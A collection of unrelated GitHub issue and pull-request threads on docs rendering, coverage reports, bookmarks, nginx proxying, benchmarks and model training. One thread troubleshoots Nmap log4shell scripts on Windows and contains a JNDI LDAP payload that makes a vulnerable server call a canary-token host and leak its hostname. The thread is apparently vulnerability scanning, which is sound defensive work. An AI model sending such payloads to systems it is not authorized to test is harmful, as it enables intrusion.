ping @SvenDowideit @moxiegirl for review
(@SvenDowideit, perhaps we can fix this issue upstream, possibly the order of parsing should be changed, i.e. first convert code-blocks to HTML, and then generate tables, but idk, havent looked yet)

@thaJeztah  LGTM For the future, the ASCII symbol for pipe works as well .  |

@moxiegirl oh, good one, that I didn't think of that! I'll redo this one and use that (think it's better)

oh, actually, that doesn't work, because it's inside a code-block; it will be rendered as-is.
I'll merge this one, but hope we can get this fixed

Author LGTM

Thanks @thaJeztah, appreciate the quick turnaround :grinning:


Fixed DELETE table to not throw NPE when table has only LLC consumer type

Current coverage is 45.97% (diff: 0.00%)

Merging #421 into master will decrease coverage by 0.04%

@@             master       #421   diff @@
==========================================
  Files           719        719
  Lines         34156      34157     +1
  Methods           0          0
  Messages          0          0
  Branches       5111       5112     +1
==========================================
- Hits          15716      15702    -14
- Misses        17185      17201    +16
+ Partials       1255       1254     -1

Powered by Codecov. Last update 4571ee4...3ff759c

lgtm


Fix error message for insufficient number of untagged brokers during tenant creation

Codecov Report
Attention: Patch coverage is 0% with 1 lines in your changes are missing coverage. Please review.

Project coverage is 35.24%. Comparing base (59551e4) to head (cc291b7).
Report is 499 commits behind head on master.

Files
Patch %
Lines

...ntroller/helix/core/PinotHelixResourceManager.java
0.00%
1 Missing :warning:

Additional details and impacted files
@@              Coverage Diff              @@
##             master   #13234       +/-   ##
=============================================
- Coverage     61.75%   35.24%   -26.51%
=============================================
  Files          2436     2459       +23
  Lines        133233   135349     +2116
  Branches      20636    20983      +347
=============================================
- Hits          82274    47705    -34569
- Misses        44911    84122    +39211
+ Partials       6048     3522     -2526

Flag
Coverage Δ

custom-integration1
?

integration
0.00% <0.00%> (-0.01%)
:arrow_down:

integration1
?

integration2
0.00% <0.00%> (ø)

java-11
35.24% <0.00%> (-26.47%)
:arrow_down:

java-21
0.00% <0.00%> (-61.63%)
:arrow_down:

skip-bytebuffers-false
35.24% <0.00%> (-26.51%)
:arrow_down:

skip-bytebuffers-true
0.00% <0.00%> (-27.73%)
:arrow_down:

temurin
35.24% <0.00%> (-26.51%)
:arrow_down:

unittests
46.65% <ø> (-15.10%)
:arrow_down:

unittests1
46.65% <ø> (-0.24%)
:arrow_down:

unittests2
?

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Bookmark improvement: Show tags at top of page instead of filter

I've got a bunch of bookmarks with different tags. I've found that clicking on the filter button and then choosing a tag from the menu that pops up is a little annoying when I just want to get to the tags right away.
What do you think about having the tag list at the top of the page (maybe one line with a "see more" button) in order to speed up filtering and to make tags more useful.

Hm, we'll think about it!

Some of my reasoning here is that there are no folders for bookmarks, so it's hard to have "grouping at a glance".
However, I really like having a straight up list of bookmarks instead of folders, paired with being able to add multiple tags to them leads to being able to organize by different things at once.
Only pain point is not having the tags available at a glance, though of course the filter is doing a great job of fulfilling that in the meantime.

+1 for this, the bookmarking in Beaker is potentially extremely valuable. It's currently missing some key things - personally I think the best way to solve it would be to expose bookmarks as a DatArchive with particular privacy controls so that people can choose to build their own interfaces for it (I've done this as a local hack for now).

Storing browser related stuff like settings / bookmarks in a dat is something I've been craving for a while. Then you could easily keep your devices in sync without having to rely on a central authority.
This would probably be blocked by having multiwriter support, though.


Twitter importer instructions now out of date

The Twitter "Create an app" flow is slightly different and they renamed some things.
We should update our Twitter importer's in-app docs.
Notably, we need to clarify which since-renamed fields on Twitter's site go into our "Client ID" and "Client Secret" fields.
/cc @mpl

We should also mention the twitter option. I never would have found it, if I had not started working on the importer.

@NiklasMerz what option?

Importing from zip is explained in importer/twitter/twitter.go, but not in the import settings page for example. As a normal user I would not have know that you can do this:
// acctAttrTweetZip specifies an optional attribte for the account permanode.
// If set, it should be of a "file" schema blob referencing the tweets.zip
// file that Twitter makes available for the full archive download.
// The Twitter API doesn't go back forever in time, so if you started using
// the Perkeep importer too late, you need to "pk-put file tweets.zip"
// once downloading it from Twitter, and then:
//   $ pk-put attr <acct-permanode> twitterArchiveZipFileRef <zip-fileref>
// ... and re-do an import.

We could add a note about that option on the import page for example.

sure

https://perkeep-review.googlesource.com/c/perkeep/+/17726


It wont work for me

it wont work i need help i tried the replit and still no luck

it wont work i need help i tried the replit and still no luck

for me this works, i just made the necessary modifications, what is you browser?

hi i need help this is my discord 𝚣𝙴𝚕𝚎𝚌𝚝𝚛𝚡#1109

it wont work i need help i tried the replit and still no luck

for me this works, i just made the necessary modifications, what is you browser?

i use opera gaming gx


Configure nginx as a transparent do-nothing proxy in front of marathon and chronos

The steps are simple (for e.g. in the single_node dev env):

install nginx
copy ansible/templates/ensemble-proxy.conf file as is to /etc/nginx/sites-available
in /etc/nginx/sites-enabled, delete the default link and make it a symlink to the conf we put in
restart nginx

Behavior:

http://localhost01:4080/marathon will redirect to marathon UI. All URIs will be offset by /marathon
http://localhost01:4080/chronos will redirect to chronos UI similarly
Couldn't make mesos master work yet, I think it fetches its js/css from some other location name

Ansible-ising it still WIP, testing it now

To add context around this PR, Vinit and I had a chat and we are breaking the auth part down into these steps:

Configure nginx as a transparent do nothing proxy in front of mesos, marathon and docker (this PR). The acceptance criteria is to have the browser URL always point to the proxy CNAME:PORT, and various paths leading to various services, {{CNAME:PORT/marathon}} for marathon for e.g.

Add an option to build this setup with basic auth, where the proxy prompts for username password (need to move the proxy to ssl for that). Then make the username available to all upstream services as an environment variable

Add an option to build the setup with github SSO auth

(if needed) Add an option to build the setup with Google SSO auth

Behavior:

http://localhost01:4080/marathon will redirect to marathon UI. All URIs will be offset by /marathon
http://localhost01:4080/chronos will redirect to chronos UI similarly

If you are copy pasting, use :

http://localmesos01:4080/marathon
http://localmesos01:4080/chronos

My bad. Fixed the hostname in the main description


Failed to initialize script engine - Arguments did not parse

Running Nmap on Windows:
.\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -p80 --script-timeout=1m <IP_ADDRESS>
I get the following error:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-16 16:23 W. Europe Standard Time
NSE: args = log4shell.payload=${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}
NSE: failed to initialize the script engine:
C:\Users\User\Downloads\nmap-7.92-win32/nse_main.lua:1276: arguments did not parse!
stack traceback:
        [C]: in function 'error'
        C:\Users\User\Downloads\nmap-7.92-win32/nse_main.lua:1276: in main chunk
        [C]: in ?

QUITTING!

Scripts are in the same directory as nmap. Any ideas?

Hello!
Thanks for reporting. Since it is windows. You should use following escaping:
.\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell,smtp-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}\""  -T4 -n -p80 --script-timeout=1m <IP_ADDRESS>

Managed to work for you?

Hello!
Thanks for reporting. Since it is windows. You should use following escaping: .\nmap.exe --script=http-log4shell,ssh-log4shell,imap-log4shell,smtp-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}\"" -T4 -n -p80 --script-timeout=1m <IP_ADDRESS>
According to: https://nmap.org/book/nse-usage.html#nse-args
Let me know if it works for you!

Thanks for your response :)
Nmap complains if you don't add ticks (`) before the curly brackets, so I added them and was able to begin the scan. I am getting a new error but haven't looked into it properly yet:
@Unable to split netmask from target expression: "${jndi:ldap://x${hostName}.L4J.XXXXXXXXXXXX.canarytokens.com/a}"

Usually that means escaping was not good. Add -d to the command line, so you can check how it interpreted those script-args, so you got that error message.


Deploy somewhere to allow usage :-)

I'd love to use it even with just the basic simple functionality.
See https://github.com/mithro/HDMI2USB-litex-firmware/blob/probot-autolabeler/.github/autolabeler.yml for example :-)

Definitely something I want to do. I have a non-public GitHub app running which uses Glitch.com but I've no idea how stable it is.
I'll either convert the app to a public one or I'll ask the Probot folks about hosting it.

@mithro you're welcome to deploy this. There are several hosts that you can run it for free on.

I think he means to publish on NPM, so other probots can require('probot-autolabeler')(robot) :)

Actually I did mean just deploy it so I don't have to host it myself :-P

It now seems to be working regularly for me!


Updated zookeeper chart zip package as per requirements file

As per the issue, I updated the Zookeeper zip as per the requirements.lock file

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 0.00%. Comparing base (59551e4) to head (287b50f).
Report is 401 commits behind head on master.

Additional details and impacted files
@@              Coverage Diff              @@
##             master   #13075       +/-   ##
=============================================
- Coverage     61.75%    0.00%   -61.76%
=============================================
  Files          2436     2432        -4
  Lines        133233   134136      +903
  Branches      20636    20777      +141
=============================================
- Hits          82274        0    -82274
- Misses        44911   134136    +89225
+ Partials       6048        0     -6048

Flag
Coverage Δ

custom-integration1
?

integration
0.00% <ø> (-0.01%)
:arrow_down:

integration1
?

integration2
0.00% <ø> (ø)

java-11
?

java-21
0.00% <ø> (-61.63%)
:arrow_down:

skip-bytebuffers-false
0.00% <ø> (-61.75%)
:arrow_down:

skip-bytebuffers-true
?

temurin
0.00% <ø> (-61.76%)
:arrow_down:

unittests
?

unittests1
?

unittests2
?

Flags with carried forward coverage won't be shown. Click here to find out more.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Use singleton headers where possible in gRPC calls.

It's actually relatively rare for headers to change across requests in gRPC since most users don't use message compression, and especially armeria users usually use our standard decorators instead of populating Metadata. We can optimize this case by always returning the same instance of ResponseHeaders.
Added a microbenchmark that only executes service business logic to remove thread-switch / connection overhead.
After
Benchmark                    Mode  Cnt      Score      Error  Units
GrpcServiceBenchmark.empty  thrpt    5  44601.768 ▒ 3864.274  ops/s

Before
Benchmark                    Mode  Cnt      Score      Error  Units
GrpcServiceBenchmark.empty  thrpt    5  33842.070 ▒ 8515.208  ops/s

@trustin I'm still hoping we find some large low-hanging fruit :) But in the meantime probably nice to do some microoptimizations now

Oops, wrong branch...


Data

I'd like to know how many demonstrations is needed to train a DP3? I collect about 25 demos and try to train a DP3.  I found that the loss curve converges in 20 minutes and the loss keep stable in later time. I train about 3000 epochs.

Hi,
I think that will depend on your task difficulty. What task are you trying?
Generally you could try DP3 with just few demonstrations, such as 10~50

I want to execute a grasp task. How many epochs do I need to train for 20 demos?

2000 epochs could be enough